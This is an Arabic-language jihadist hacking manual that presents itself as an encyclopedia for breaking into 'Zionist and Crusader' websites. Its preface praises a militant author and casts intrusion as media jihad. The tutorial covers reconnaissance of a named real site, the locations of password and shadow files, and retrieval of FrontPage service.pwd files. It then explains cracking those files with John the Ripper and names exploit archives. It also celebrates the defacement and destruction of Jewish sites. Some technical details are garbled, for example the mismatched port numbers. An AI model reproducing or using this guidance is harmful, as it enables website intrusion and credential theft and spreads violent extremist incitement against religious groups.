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 بسم االله الرحمن الرحيم
 

الحمد الله معز الإسلام بنصره ، ومذلّ الشرك بقهره ، ومصرف الأمور بأمره                  
، ومستدرج الكافرين بمكره ، الذي قدر الأيام دولا بعدله ، وجعـل العاقبـة               

م بسيفه ، وعلى    للمتقين بفضله ، والصلاة والسلام على من أعلى االله منار الإسلا          
 :آله وصحبه ومن تبعهم بإحسان ، وبعد 

 
 فالسلام عليكم إخوة الإسلام في كل مكان ورحمة االله تعالى وبركاته

 
ا العمل الجليـل    ونحمد االله سبحانه وتعالى أن وفق إخوانكم لأتمام إنجاز هذ              

د الإعلان   حفظه االله ، وقد أغاظ بمجر      007نا الفاضل إرهابي    الذي قام عليه أخو   
له كلاب الكفّار من اليهود وعبدة الصليب ، وقد مضى على إعداد هذا العمـل              
ونشره ما يقرب من عام ، وما أن تم نشره ، حتى اغتاظت أجهزة الدول الغربية                
وإعلامهم المرجف ، وحيكت أحابيلهم كخيـوط العنكبـوت للحيلولـة دون            

يخفى على أحد صـعوبة العمـل        ، ولا    ا ما أرادو  - مؤقتا   -انتشاره ، فتم لهم     
الإعلامي الجهادي الذي لا يتجاسر عليه إلا من جعل الصدق والإخلاص أساسه            

وما بين ذلك وذاك ، مر      رائده ،   مع الأخذ بالأسباب    ، واليقين والتوكل على االله      
الجهاد الإعلامي بمرحلة صعبة تمخضت عنها مطاردات وملاحقات واعتقـالات          

ر الجهاد على شبكة المعلومات ، وما ذلك بالكثير بل هو           طالت العديد من أنصا   
  المسـير ،   ثِعِ ، و   ، طريق الأنبياء وصفوة الأولياء     من ضريبة هذا الطريق الجليل    

، ولكن حق لمـن سـار فيـه         ! كئيب المنظر ، مفروش الأشواك ، مرير المذاق         
 بما أعده االله    واقتضى شروط وضوابط المسير أن ينال رضوان االله تعالى في الدارين          

روضات الجنان ورفقة النبي العدنان عليه      وانتهاء ب من مكافآت وكرامات في الدنيا      
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، كيف لا ورب العزة جلّ جلاله وتعالـت عظمتـه           الصلاة والسلام في الآخرة     
 كم ويعلم وا من  جاهد ذين الَّ  االلهُ ا يعلمِ ة ولمَّ لوا الجن  تدخ تم أنْ  حسب أم: " يقول  

من قائل       ] 143:آل عمران سورة   " [ابرينالص وقول االله عز ، " :أم  تم  حسـب
 ولا  ون االلهِ  د وا مـن  خـذُ  يت كم ولمْ وا من ذين جاهد  الّ  االلهُ ا يعلمِ ركوا ولمَّ ت ت أنْ

، وقول  ] 16:سورة التوبة  " [ون بما تعملُ   خبير  ولا المؤمنين وليجة ، وااللهُ     هِرسولِ
 ا من لون خ ذي الَّ م مثلُ كُتِا يأْ ة ولمَّ وا الجن  تدخلُ تم أنْ ب حس أم: " االله تعالى وتبارك    

لكُقب  م ، مسساءُم البأْ ته والض اءُر لزلُ وز ى يقولَ وا حت ذين آمنـوا    والَّ سولُ الر
لا إنَّ  ، أَ   ؟  متى نصر االله   معه ر االلهِ  نصوسـيدنا  ]214:سورة البقرة " [ قريب ، 

ألا إنّ سلعة االله غاليـة ،       : " سلم يقول في الصحيح     ونبينا محمد صلى االله عليه و     
 ، " !ألا إن سلعة االله غالية ، ألا إن سلعة االله غالية ، ألا إن سلعة االله هي الجنة                   

وإن من المعهود في مثل هذه الطريق وهذا المسير ، أن تكون العقبات والعوائـق               
ع على أنصار الجهاد كثرة     ، فليس الأمر بالهين ، وإنه مما يكون أشد الوق         ! كثيرة  

، الإرجاف والتشكيك ممن باعوا أنفسهم وضمائرهم للشيطان وباتوا حاقـدين           
وما يضر ذلك من امتلأ ، ! وعلى أهل الجهاد وأنصار الجهاد مرجفين ومشككين   

قلبه بنور الوحيين وذاق حلاوة الإيمان ، ولكن الخلل الجلل كل الخلل فيمن يعقد              
اليقين فيتكلم المتكلم منهم بالكلمة لا يلقي لهـا بـالا ،            على الأراجيف معاقد    

الهوي بالكلمة في قعر جهنم سبعين خريفـا كمـا في           : يترتب عليها أمور منها     
الصحيح ، هذا في الأخرى ، أما في الدنيا فما ينعقد على مثل هذه الأراجيف من                

 ، والإضـرار    نفع الصليبيين ومن لف لفّهم من أجهزة مباحث الخبائث في بلادنا          
بإخوة كُثُر بسبب أراجيف وأغاليط لا أساس لها من الصحة ، والرائد لا يكذب              

، وأهم وأخطر معالم الإرجاف والتشكيك هو كثرة الإشاعات التي تنتشر           ! أهله  
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ولا نبسط كـثيرا      كما هو غالب الحال في المنتديات ،       كالنار في الهشيمِ اليبِسِ ،    
تكفيه الإشارة ولكن نجمل محمودا ، والحر . 

ونختم بما أسلفنا من القيام بالإعداد والاعتناء ذه الموسوعة الموجزة الطيبة ،                 
 حفظه االله وأدامه فخرا وذخرا      007التي قام عليها وأعدها أخينا الفاضل إرهابي        

لأمة الإسلام عامة وطليعتها ااهدة خاصة ، وجعله االله مخرزا في عيون الكافرين             
في حلوقهم وسعدانا في أكبادهم ، وأبقاه االله لما يسوء الكافرين ويخزي            وشوكة  

 .كلام من المرتدين ويفضح أذنام من المنافقين أجمعين ، اللهم آمين 
 

     قام على هذا العمل أكثر من أخ وقمنا بالاعتناء بما كتبه وانتقاه وأعده أخينا              
د العديد من الروابط وجمع البرامج       حفظه االله ، وقمنا بتجدي     007الحبيب إرهابي   

المطلوبة والمذكورة في الموسوعة تجدوها في المرفقات المضغوطة ، وقمنا بتنقيح ما            
فيها لغويا ، فالجمع والانتقاء والاعداد بأكثر من لهجة ، فتم توحيـد اللهجـة               

ق للعربية الفصيحة ، ونسأل االله أن يكتب لما قمنا به القبول ، وكما سألناه الصد              
نبرأ إلى االله من كل من تسول له        ف  !والإخلاص في القول والعمل ، نسأله البراءة      

نفسه أن يضر ذا العمل الإسلام والمسلمين والجهاد وااهدين ، فنسأل االله أن             
 وتصم الآذان وتطرش ، وتعمى العيون ويختم على قلوب           ، تشلّ الأيادي وتقطّع  

 في  007لمسلمين ، واالله يحفظ أخينا إرهـابي        كل من تسول له نفسه الإضرار با      
خير وعافية ويلهمه رشده وتمام النصرة وكمال الجهاد في سبيل االله وسائر إخواننا             
ااهدين الإعلاميين وكافة ااهدين الميدانيين وأنصارهم من صـلحت نيـام           

 .سريرم والظواهر ، اللهم آمين واستوت 
 

التطبيق أولا بأول مستعينا باالله ومتوكلا على االله وهو         ابدأ  أخي الكريم   فعليه       
نبرأ إلى االله سبحانه وتعالى من كل من         ، وكما قلنا ونكرر      حسبنا ونعم الوكيل  



 

 

7 

������<<<<دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א����� ������א����د��א���

على هذه البسيطة وإنما عملنا هو جزء من جهـاد           تسول له نفسه الإضرار بمسلم    
رة والمصابرة هـي    وأهم جبهة تحتاج إلى العمل والنصرة والمثاب       الأمة ضد أعدائها  
  .وعليه ننشر هذا العمل ونسأل االله القبول الجبهة الإعلامية

 
اللهم وأسـيراتنا    ،   اللهم سدد رمي ااهدين وثبت أقدامهم واربط على قلوم        

من لهم غير رحمتك وباب      ،   وأسرانا الأحرار في سجون القهر الصليبي الطاغوتي      
اللهم ونسألك الصدق والإخلاص في      ،   فرجك يا أرحم الراحمين كن لهم أجمعين      

اللهم ونسألك طول عمر وحسن عمل وجهـادا في          ،   القول والعمل والاعتقاد  
 - عليه الصلاة والسلام     -بأعدائك وأعداء رسولك     سبيلك وعظم نكاية وتنكيل   

ونسألك بعد ذلك حسن ختام بشهادة امتياز في سبيلك مقبلين           ،   وأعداء المؤمنين 
 الشرف الأولى ورفقـة النبـيين والصـديقين والشـهداء           مع مرتبة  غير مدبرين 
  . اللهم استجب اللهم آمين ،وحسن أولئك رفيقا والصالحين

 
 مةلحوذخرا لكل ملكل مكرمة بورك فيكم أجمعين ودمتم فخرا 

 
وكفاهم شرفا   الذين رفضوا نشر أسمائهم-عن جميع الإخوة الأفاضل الكرام 

 - خير الجزاء تنا الحبيبة أموفخرا أن االله يعرفهم ويجزيهم عن
 

 أخوكم الفقير أصغر القوم وأجهلهم
 

 سيف الأثريال

 
 كان االله له ولإخوانه وللمسلمين
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 بسم االله الرحمن الرحيم
 

 رب يسر يا كريم
 

 !دع القول ولنبدأ العمل 
 

 موسوعة اختراق المواقع الصهيونية والصليبية

 
 . تعالى وبركاته  ، السلام عليكم ورحمة االله     أخي الكريم

 
 : أولاً عليك تعلم أمورا منها 

 
 صبرالن تبلغ اد حتى تلعق ال *** كله آنتأ اد تمرا تحسبن لا

 
 .محترفا فيما بين ليلة وضحاها " هاكراً"وعليه فلن تصير 

 
" الهـاكر "آخر بل   " هاكر"الحقيقي لا يستعمل برامج صنعها      " الهاكر"     وأن  

 يقـوم بـه     ينجاز الذ الإ نوذلك لأ ،   ! شياء جديدة أ يبتكر   الذيالحقيقي هو   
خر  الآ "كرااله"ن ما يقوم به     أما  ، ك  !  تنسب لصاحب البرنامج   أيا كان  "الهاكر"

 قد يحتوي   "كرااله"ن برنامج   ألى ذلك    ، أضف إ   ليكيصبح معروفا حينما يصل إ    
 علـى   الذي تستخدمه مـن الـدخول    "كرااله"ن صانع برنامج    على ثغرات تمكّ  
  ! . عليه"هكر"جهازك وعمل 
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 :أساسيات وتعريفات      
 
  ."الويندوز"وهو برنامج صغير موجود في  ) :Telnet( نيت -تيل  ) 1
 

 ـ  ن باســتطاعة هــذا إ أي   "ســيرفر"ـالبرنــامج الإتصــال بالـ
يسـتخدمه   . كل حسب مستواها وحالتـها     جراء بعض العمليات  إالخادم و  أو
 التـابع لـه ، وللإتصـال        "السيرفر"نظام تشغيل الموقع و    غالبا لمعرفة    "الهاكرز"
لى إللـدخول   " بورت الإف تي بي   " معين وخصوصا    " بورت" عبر   "سيرفر"ـبال

و غيره مـن    أ الباسوورد لعرض ملفات الموقع وسحب ملف     الموقع بطريقة خفية  
  .البيانات

 
 : اذهب إلى      لاستخدام البرنامج

 
Start ==> Run ==> Telnet 

 
  .نت – ليستظهر شاشة التو
 

ذات له  وSSHه خاصية التشفير و يدعى فيوهناك برنامج مشابه له      
 ،  ولكن كل المعلومات المنقولة عن طريقه تكون مشفرة ،الاستخدامات تقريبا

 .واالله أعلم 
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ساسية مهمتها الأ وهي برامج     :SCANNER) كانرس(سح  برامج الم  ) 2
ــع ــح المواق ــمس ــف ثغرا ــريعة  وكش ــي س ــدت ، فه  ، ا إن وج

 تحتـوي علـى الثغـرات أو      و  ، أا تملك قاعدة بيانات واسعة وكـبيرة       كما
التي يتم تطبيقها على الموقع لرؤية فيما       ) نوع خاص من الثغرات   (" كسبلويتالإ"
  . حدى هذه الثغرات أم لاإ يعاني من "السيرفر "ذا كانإ
 

 Shadow Security  برنـامج  :الـبرامج  ومـن أمثلـة هـذه        

Scanner وبرنامج Stealth وبرنامج Omran Fast.  
 

 لبرامج أنواع مختلفة ، منها التي تقوم بعمل سكان علـى نظـام أو              ا و لهذه      
 ـ" سـيرفرات " علـى    "سـكان "ـمعين مثل البرامج المختصة بال    " يرفرس"  الـ

IIS )   يآالسـي جـي     "على ثغرات   أو   ،   )سيرفر من صناعة مايكروسوفت "
CGI واالله أعلم نواع السيرفرات لجميع أقط ومنها برامج المسحف ، . 

 
خـلال   هي برامج تنفيذية تنفذ مـن       :Exploits" كسبلويتإ ) "3

 بعرض ملفـات    "الإكسبلويتات"تقوم هذه   و URL و لها عنوان  .  المتصفح
ــدخول   ــها بالـــ ــوم بعضـــ ــع و تقـــ  لىإالموقـــ

م بشن هجـوم علـى       تقو "كسبلويتاتإ"السيرفر والتجول فيه ، كما توجد       
 Bufferبـ  له ، وهذا ما يسمى"كراش" لعمل "السيرفر"في  معين" بورت"

Over Flow Exploits.  
 

  ، فمنها"الإكسبلويت"أنواع من  هناك
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CGI Exploits 

CGI Bugs 
Unicode's Exploits 

Buffer over Flow Exploits 
PHP Exploits 
DOS Exploits 

 
  إن وجد فيها الثغرة المطلوبة لهذا"سيرفر"ـدمة للوالتي تقوم بعملية حجب الخ

  .Fire Wall" لوفايرو" أي "السيرفر"ن لم يكن على إالهجوم و 
 

ــض  ــاك بع ــبلويتات"وهن ــون"الإكس ــي ويك ــة الس ــة بلغ   المكتوب

و أ "كومبايلر"لى إ بالذات تحتاج "الإكسبلويتات "هذه، (c.***)  امتدادها
 تنفيذي عادي يستخدم من خلال      "كسبلويتإ"لى   إ هالوتحوي برنامجا لترجمتها 

 لى برنامجـا  إ المكتوب بلغة السي هـذه       "الإكسبلويت "ولتحويل المتصفح ، 
ي ألى   إ وأ ،   "يـونكس "و  أ "لينوكس"نظام التشغيل    لىإنحتاج إما    ، تنفيذيا

ــايلر" ــغيل "كومبــ ــام التشــ ــمن نظــ ــل ضــ   يعمــ

 .ويندوز 
 

 Borlandبرنامج اسمه) ولاتالمترجمات أو المح ("الكومبايلرات "أشهر هذه

C++ Compiler كما ذكرنا"ويندوز "عمل تحت نظام التشغيلي ووه  
 .ا سابق
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" السيرفرات"خدمها هي برامج تست ) :Firewall (الجدار الناري ) 4
 هـي تمثـل  فشرعي لنظام ملفاا من قبل المتطفلين    اللحمايتها من الولوج غير     

 المسـتخدمة   "ولاتالفايرو"أن  إلى   أنوه   ولكنيبالطبع ،   " سيرفر"ـالحماية لل 
  .تختلف عن تلك التي تستخدم لحماية الأجهزة) المواقع( لحماية السيرفرات

 
 ) :dorShadowed Passw ( المظلل"الباسوورد"ملف  ) 5

حيـث أن ملـف      ،   x و أ *  علـى شـكل    الباسـوورد يكون فيه    والذي
 : سطر فيه ذا الشكلكون الأتالعادي " الباسوورد"
 

Username: passwd: UID: GID: full name: 
directory: shell 

 
 : النقطتين ر بعد الاسم و المشفّ"الباسوورد"نك تجد أحيث 

 
  :اليكالت شكله يصير نهإذا كان مظللا فإ "الباسوورد"أما في ملف 

 
Username: x: 503: 100: Full Name: 

/home/username: /bin/sh 
 

 .كانه  مX تغييره برمز  قد تمّ"لباسووردا"حيث كما هو واضح 
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خر آ "باسورد"ن تجد ملف    أمكانك  إ مظلل فب  "الباسوورد"ن ملف   أفي حالة   و
 وتجده في المكان Shadow file المشفر ويسمى "الباسوورد"يحوي على 

  : التالي
 

/etc/shadow 
 

  :سطر في الملف على هذا الشكلويكون شكل الأ
 

Username: passwd: last: may: must: warn: 
expire: disable: reserved 

 
 المشفر من هنا ووضعه في الملف المظلـل حـتى           "الباسوورد"فيمكنك نسخ   

  . العادي"الباسوورد"يصبح الملف المظلل تماما كملف 
 
 هي الوضعية الخفية واهولـة      :Anonymousالوضع المتخفي    ) 6

ف تي الإ "هناك خاصية في برامج.  ! اقهاختر لى الموقع المرادإتدخل فيها  التي
 "السـيرفر "لى إاهول  في الدخولخدمها ن تستأسم ، تستطيع  بنفس الا"بي

  .) يسمح ذا"السيرفر"ذا كان إ( . وسحب الملفات منه
 
 ـ   ) 7 نة  الثغرات غير المحصVulnerabilities:      أي الثغـرات أو

ــالمحغـــير  مواضـــع الضـــعف ــة للعطـــبصـ  نة أو القابلـ

 لىإ والتي قد تشكل خطرا أمنيا عليه ممـا يـؤدي            "السيرفر"والتي يعاني منها    
  . واختراقه أو تدميره"السيرفر" في مهاجمة "الهاكرز"قبل  استغلالها من
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Vulnerable ـبالأصح موضع الضعف والمكان غير        ثغرة أو   أي  ن ؤمالم
المهتمـة  البريديـة للمواقـع      وتكثر هذه الكلمة في القـوائم      ،   سليمبشكل  

 الموجودة في موقع  وأمن الشبكات وغيرها كالقائمة البريدية"سيكيوريتي"ـبال
Security Focus  

 
http://www.securityfocus.com 

 

 راكوك تبو أو
 

http://www.securityfocus.com/archive/1 

 
  .و غيرهاأ
 
يحتوي  هو الملف الذي : ile Fd orasswP"الباسوورد"ملف  ) 8

لى إبالدخول   ح لهم المصر  الأشخاص "رداتوباسو"وت و   ورد الر وعلى باسو 
  .ورد الموقع موجود في نفس الملف طبعاوباس ، السيرفر

 
  . مشفرة في هذا الملف"اتالباسوورد"وهنا يجب ملاحظة أن جميع 

 
للنظام ، له كـل      وهو المستخدم الجذري والرئيسي      :ootRالجذر   ) 9

 ضافة أو إمن إزالة أو    ،   "السيرفر"لفات الموقع و  في التعامل مع م    الصلاحيات
 ـوهـو مـا يقابـل الآ      ( . تعديل للملفات   في  Administrator  يندم

  .)" ندوزيوال"
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ورد الموقع نفسه في المواقع الـتي       و هو باس  "وتوالر"رد  وباسو  ما يكون  غالباً

فري بي  "و  أ "سولاري "وأ "يونكس"و  أ "لينوكس"نظام التشغيل    عمل ضمن ت
 .ا و غيرهأ  "ديس أ
 
ن كل إذ إ هو الجهاز المستضيف للموقع ،  :rver Se"السيرفر" ) 10

من الأجهزة لكنـه      كغيره يفهو جهاز كمبيوتر عاد    ملفات الموقع توضع فيه   
 الصلب وسرعته الهائلـة ، وهـو        ككبر حجم القرص    :مكانيات عالية إذو  

ــت   ــل بالإنترن ــون  24متص ــبب ك ــو س ــذا ه ــاعة ، وه   س

 "السـيرفر "قد يملك ويستضـيف      .  على الإنترنت  24  وفاعلة غالةالمواقع ش 
  . لآخر ومن شركة لأخرى"سيرفر"، وهذا يعتمد من  واحد موقع أكثر من

 
المواقـع ،     الذي يملك الكثير من    "السيرفر " طبعا هي اختراق   "الهاكرز"ضربة  

تـدميرها  لى إمما يؤدي إما  تندرج تحته فيسهل حينها اختراق جميع المواقع التي    
سرقة بياناا وتدميرها أو مسـحها       أو العبث في ملفاا أو تشويه واجهتها أو       

 وبكثـرة والله الحمـد    يهوديـة   ال للمواقع  ، وهذا ما يحدث     تماماً شبكةمن ال 
  . أيها ااهدونخيراً جزاكم االلهف
 

 مـن  وهي نـوع   :Buffer over Flow "بوفر أوفر فلو" ) 11
لتي تستعمل لشن هجوم الطفح على نقطة معينة من          ا "كسبلويتاتالإ"أنواع  

 الإف تي بي أو غيره      "بورت"الهجوم على     مثل )بورت من السيرفر  (" السيرفر"
 الرقعـة  لغاءالبورت ولإ   وفصل اتصاله ذا   "السيرفر"ضعاف اتصال   إلأجل  
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لها طبعا  " الكراش" بعد عمل    - الموجودة ا كي يتم استغلالها مجددا        )الحاجز(
 وأا وبسهولة ودون وجود أي رقع       تصال  يتم استغلالها في معاودة الا    و،   -

 للحاجز يصبح الـدخول     "كراش"بعد عمل   (حواجز وسحب البيانات منها     
وهي شبيهة نوعا ما بعملية حجـب        ،   ) سهل و دون حواجز    "السيرفر"لى  إ

 " .السيرفر"ز من  على جزء مركّ"وفر لودأ"بعملية  ذ أا تقومإالخدمة 

 

ن يطلقوا على كل من     أون   يحب "كرزااله"كثير من     :BOXبوكس   ) 21
  .BOXة  كلم pc , servers , supercomputersـ ال
 

13 ( serUuper S :ا بعون االله – ظام الذي سوف نقوم باختراقهلن 
 والمسـتخدمين ذوي  " اليوزرز" على العديد من     ة يحتوي عاد  -وحوله وقوته   

البه ات الكاملة أو شالصلاحيونكاملة يسم super user وهو يكون 

  .ظامو المدير على النأ "دمينالأ"وهو " وتور"
 

كاونـت هـو   أالشيل   :ccountAhell S" شيل أكاونت ) "14
وهذا  ،   جهاز من بعيد   حيث يمكنك من خلالها التحكم في     ،   ة عن خدم  ةعبار

 " ونـت اكأالشـيل   "تستطيع الدخول على    و،  " اليونيكس"الجهاز عليه نظام    
shell accountـت"ـ عن طريق ال   SSH أو Telnet" نـت  لي

 .سالفة الذكر 
 

  :شهرها اثنين أ :erversSeb W ماتالملقّ ) 15
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IIS:   مقفلة الثغـرات    هاومواقع( ثغراتئة بال  وهذه ملي  "مايكروسوفت"من
 ).قليلة

 
Apache :      واختراقها شـبه    نحاء العالم أمن مجموعة مبرمجين متوزعين في

  !.م مفتوح المصدر ودائم التطويروهو ملقّ! عبص
 

  :كثيرة منها نظمةأهناك   :Systemsالأنظمة  ) 16
SunOS 

FreeBSD 
OpenBSD 
NetBSD 

AIX 
IRIX 

Windows/NT/2000/xp 

Linuxالفيدوره وغيرها بأنواعه الكثيرة مثل الردهات و. 
 

  :ساسية وهيأ مجلدات ة له ست :Linux" اللينوكس ) "17
 

Bin أي التي تشغل النظام ةالثنائي  بالملفاتخاص . 
 

 Etc  إملفاتاللي هو حساب مـدير  "الرووت"منها  ضظام ومندارة الن 
وأظام  الن password) لد مهم  وهذاالمهمـة   محتوياتهو دراسته    جداً اً ا 

 ). بإذن االلهختراقلعملية الإ
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Dev  ة جهزالأ ملفات. 
 

Lib تي ال الربط الديناميكي مكتباتالتشغيل ظام فيتساعد الن. 
 

 Tmp ةالثابت و غيرأ ةقتؤالملفات الم. 
 

Usr كو المستخدمين سماءأفي تالهم حسابللذين  لمات السر أيضاً (ظامالن 
 .)دراسة هذا الد مهمةً

 
   :FTP" ف تي بيالإ"وامر أ ) 18

 
 ".الهارد ديسك"لكي تعرف ما يحتويه  : Pwd) أ
 

ا المثـال قمـت   ذفي ه ، Cd black  :مثال،  مجلد قتحاملا  :Cd) ب
 " .بلاك"قتحام مجلد المسمى اب
 

 في  Dirمر  أمثل   ("ديسك الهارد"لكي يتضح لك محتوى الد أو        : ls) ج
 .)" الدوس"
 

  : مثال  ، الملف المرادلى جهازكإلكي تحمل  : Get)  د
Get black.exe    
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 لىإر  ف من السـير   black.exeمر يقوم بتحميل الملف     ن هذا الأ  حيث إ 
في  عـادةً ( FTP ـكنت فيه قبل كتابة أمر ال      كمبيوترك في الد الذي   

 .)سطح المكتب
 

  عنـدك  ملف منذن تأخأيعني  ، Getـ ل العملية العكسية  :Put) ـه
ــعه في ــحية وتضـــ ــاز الضـــ ــال  ،جهـــ   :مثـــ

Put black.exe 
 ـ  أيه قبل   ن يكون الملف موجود في الد الذي كنت ف        هنا يجب أ  (  ـمـر ال

FTPفي سطح المكتبعادةً و (. 
 
  .تصال مع الضحيةلقطع الا:  Close) و
 

  : عن طريق"الويندوز" من "ف تي بيالإ"يمكنك تشغيل 
 

START ==> RUN ==> ftp -n hostname 
 

 :بورتات البرامج  ) 19
 

7 Echo 
21 Telnet 

23 ftp 
25 SMTP 

80 http 
110 POP 
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 : معينة خطاءملاحظة رسائل لأ ) 20
وهي تظهر عند طلب ملف غير موجود        Error 404 ومن أشهرها الرسالة    

إلى أسفل الصفحة وقد تجد معلومات       نظراظهور هذه الصفحة     الموقع وعند في  
 لكنـها   ةة أو خطير   وهذه معلومات غير مضر    ،" الويب"م  إصدارة ملقّ  : مثل

  . بإذن االلهختراقالا تفيد في عملية
 

  : حسب نظام التشغيل المواقع"باسوورد" تواجد ملف ماكنأ ) 21
 
 etc/passwd  و أ SunOS 5.0: etc/shadow  )أ
 
 etc/passwd  و أ etc/shadow : Linux) ب
 
 BSD4.3 –RENO : etc/master. Passwd  )ج

 
 AIX : etc/security/passwd )د

 
 Windows NT :scripts/passwd ) ـه
 

  :pperJohn the Riبرنامج  ) 22

 نظمةالأ  التي يحصل عليها المخترقون من     فضل البرامج لكسر كلمات السر    أحد  أ

(nix*)" صدارات الإ خصأو -نظمة وهذه الأ". نوكس أو يونكسيوتعني ل
ن يكون  أب ،   (PASSWORD)  توفر نظام حماية إضافي لملف     - الحديثة
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لكي يحصل على  (SHADOW)ملف لل وعلى المخترق الحصول علىظم
هذه هي الوظيفة . كلمات السر مشفرة ومن ثم يقوم بكسر هذا التشفير  ملف

 ا تعطيك المفتـاح   هم الخطوات في اختراق الخوادم لأ     أمن   عتبرهاأساسية و الأ
 .بعون االله 

 

 :طريقة الاختراق      
 

 ن ما نشـرحه   أن تعلم   أخي الكريم    ، عليك أ   ن نبدأ ذا القسم    قبل أ  أولاً     
 ،  ! حدى طرق الاختراق وقد تصبح هذه الطرق قديمة بعد مدة         إ لاإهنا ما هو    

  ن تعلم كيف   أ و  ، ن تعلم كيف تتم عملية الاختراق بشكل عام       أ ولكن ما يهم
  النبيلة هدافناأنظمة وكيفية استغلالها بما يلبي      يمكنك البحث عن الثغرات في الأ     

 .بعون االله
 

ما الموقع  نعرف  أنيعني ، ! خذ المعلوماتأول خطوة في الاختراق هي      أ
 .ا ونحو ذلك يدعمه تيل عليه والنظام والخدمات الغتشي ذيم ال الملقّهو
 

الملقـم والخـدمات   و  نعرف نظام التشغيلفكيفعندنا موقع      حسنا الآن 
حد هذه المواقع   أدخال اسم الموقع في     إتتم هذه العملية عبر      ،   والمعلومات كلها 

مختصرة عن نوع نظام التشغيل الذي على الموقع ونـوع          والتي تعطينا معلومات    
  .الملقم ونحو ذلك

 
 :وهذه المواقع هي 
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http://www.netcraft.net/ 

 
http://www.whois.com/ 

 

من غير  و http//: هذه الرموز    الموقع من غير  عنوان  نكتب  :  مهمة   ملاحظة
 !تي في الأخير ال /الشرطة المائلة 

 
يضا الحصول على نفس المعلومات عن طريق محاولة الدخول على الموقع           و يمكن أ  

 .Telnetنت  -ليعبر برنامج ت
 
  :IISمثال على ملقمات ) أ

 

 netcraftدخلنــــــا اســــــم الموقــــــع في   أذا إ

  : لنا التاليظهر يسوف
 

This site http://www.***.com is running 
Microsoft - Windows 2000 on IIS/5.0 

 
معلومتين مهمتين  عرفنانب الآطي:  
 

  .IIS5.0أولا أن الموقع شغال على الملقم 
  .2000" ويندوز"وآخرا أن النظام المستخدم هو 

 

http://links.php/?url=http://www.netcraft.net/
http://links.php/?url=http://www.whois.com/
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 : نفعل التالي      ثم
 

تسمى  حاجة   يوجد نب الآ طي ،   عليه IIS5.0 ب ثغرات ول شيء نجر  أ ) 1
 مات إلا مع ملقّ   ىشامتت  هذه تخترق فيها عن طريق المتصفح وما       ،" كود يوني"

IISالموقع  بعد عنوانضعها وهي عبارة عن عناوين طويلة ت.  
 
ــع شــيء يلمإذا  ) 2 ــرات نظــام نظــر فين نف ــدوز" ثغ  2000 "وين

؟  فيها ثغرات يظهرلمنه أ ضع افتراضاب لنطي! 
 

 و أ ارل زو  إن كان عنـده سـج      رىن،   ! محتويات الموقع نفسه  نظر في   ن ) 3
نه أسلوب الهجوم حيث    أهذا مثال على طريقة اختيار      (...  نحو ذلك    وأمنتدى  

    ا الموقع   أب الثغرات التي يمكن     بناء على معلومات الموقع نجر اجم بعـون   ن 
 .)االله
 
 :مثال على ملقّمات أباتشي ) ب
 

 رانكأناخذ مثال موقع 
 

http://www.arank.com/ 
 

  :النتيجة التاليةسوف نرى لو حللناه بالنيت كرافت 
 

The site http://www.arank.com/ is running 
Apache/1.3.20 (UNIX) mod_gzip/1.3.19.1a 

http://links.php/?url=http://www.arank.com/
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mod_perl/1.26 mod_bwlimited/0.8 PHP/4.0.6 
mod_log_bytes/0.3 FrontPage/5.0.2.2510 
mod_ssl/2.8.4 OpenSSL/0.9.6 on Linux 

 
 :هنا يهمنا ثلاث أمور 

 
مـات  باتشي من الملقّأول شيء أ : apache 1.3.20 م وهوالملقّ ) 1

ضع هـذه  إلا بعض الإصدارات منها فن  -ستحيلة   وليست م  - صعبة الإختراق 
 .جنبا 

 
 وهـذه مليئـة     FrontPage/5.0.2.2510 فرونت بيج  ودعم ) 2

 .بالثغرات 
 
 مـا مـن     صعب نوعاً أاختراق نظام لينوكس يعد     ( Linux وهوالنظام   ) 3

  .) واالله أعلمغيره
 
 

  :الآن سوف نقوم بشرح الثغرات التي في دعم فرونت بيج      
 . ثيرة تقريبـا  ك وثغراته قوية و    ، ثغراتبال ئمليكما أسلفنا    الفرونت بيج    دعم
 ا غالبـا   غيرهو نحتاجها   تيهذه ال  ، و  private و vti_pvt_ اتمجلد منها
ربع ملفات مهمـة    سوف نجد أ    المذكورين الدين داخلو  فيها ،  دةئ فا  لا ما

  :وهي
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service.pwd 
users.pwd 

authors.pwd 
adminstators.pwd 

 
مـع  (الملفـات   هذه  احد من   ول  ترن مثلا   لو قدرنا ، ف خطر ملف   أويعتبر هذا   

 والمنتشرة على   من المواقع الموجودة  % 70 في الثغرة موجودة     أن هذه  ملاحظة
  :المثال على سبيل السطرهذا  دنزلناها نفتحها بالمفكرة ونجألو ، ف) الشبكة 

 
Goodyco: CalXS8USl4TGM 

 
 وهذه من موقع ما

 
http://www.****.com/ _vti_pvt/service.pwd 

 
 ررد مشـفّ  ووالباسو،  " اليوزر"هو   Goodycoحسنا الآن عرفنا أن الـ        

 ! ، فكيف نفك التشفير ؟CalXS8USl4TGM  هوذيوال
 

 ـ (john the ripperنقوم بفك التشفير عن طريق برنامج يسمى  رح ش
 . إن شاء االله موضوع في هذا الد خرآ موجود في هاستخدام

 
ظـام هـو     الن  ، وكما علمنـا     هي النظام  تيوالالآن نذهب إلى الفقرة الثالثة      

وهنـاك  " ماندريك" و   "هات ريد"هناك  ! ولكن أي إصدار منها ؟     "كسولين"
 تينمشـكل  تواجهـك سـوف   لكن هنا   منه إصدارات كثيرة وثغرات أكثر و     

http://www.****.com/ _vti_pvt/service.pwd
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 ـ  وتشغيل أابدقائمة  ن  وتستطيع استخراجها م    ،  شيء معرفة النظام   ولىالأ  ـال
Telnet   ،     ظهر  يفواكتب عنوان الموقع نوعه وإصدارته  : فوقمن  ظام  لك الن 

أصلا لأن الثغرات هي بلغة     " كسولين"يجب أن يكون عندك     المشكلة الثانية   و ،
 .فقط " اللينوكس"والتي لا تعمل إلا على  Cالـ 

 

 :الخلاصة      
 

الأول :      إذن ، يتضح لنا مما سبق أن عملية الاختراق تتكون من قسمين             
 .جمع المعلومات عن المستهدف ومن ثم الهجوم بناء على هذه المعلومات 

 
ينا مرحلة جمع المعلومات ويتبقى علينا مرحلة اسـتغلال         أسبق نكون قد    ومما  

وهناك عدة مواقع تقوم    ،   !  على الضحية  الثغرات بناء على المعلومات للهجوم    
وكل  ،   م ونظام التشغيل وغيره   وبشكل دوري بعرض الثغرات على حسب الملقّ      
 . بعون االله الشكل المطلوببما علينا هو قراءة هذه الثغرات ومحاولة استغلالها 

 
  :ومن المواقع التي تقدم هذه الخدمة

 
http://www.ussrback.com/ 

 

ــذا ــع وه ــداً الموق ــير ج ــ ،خط ـــ لذهب  ت  EXPLOITS ل

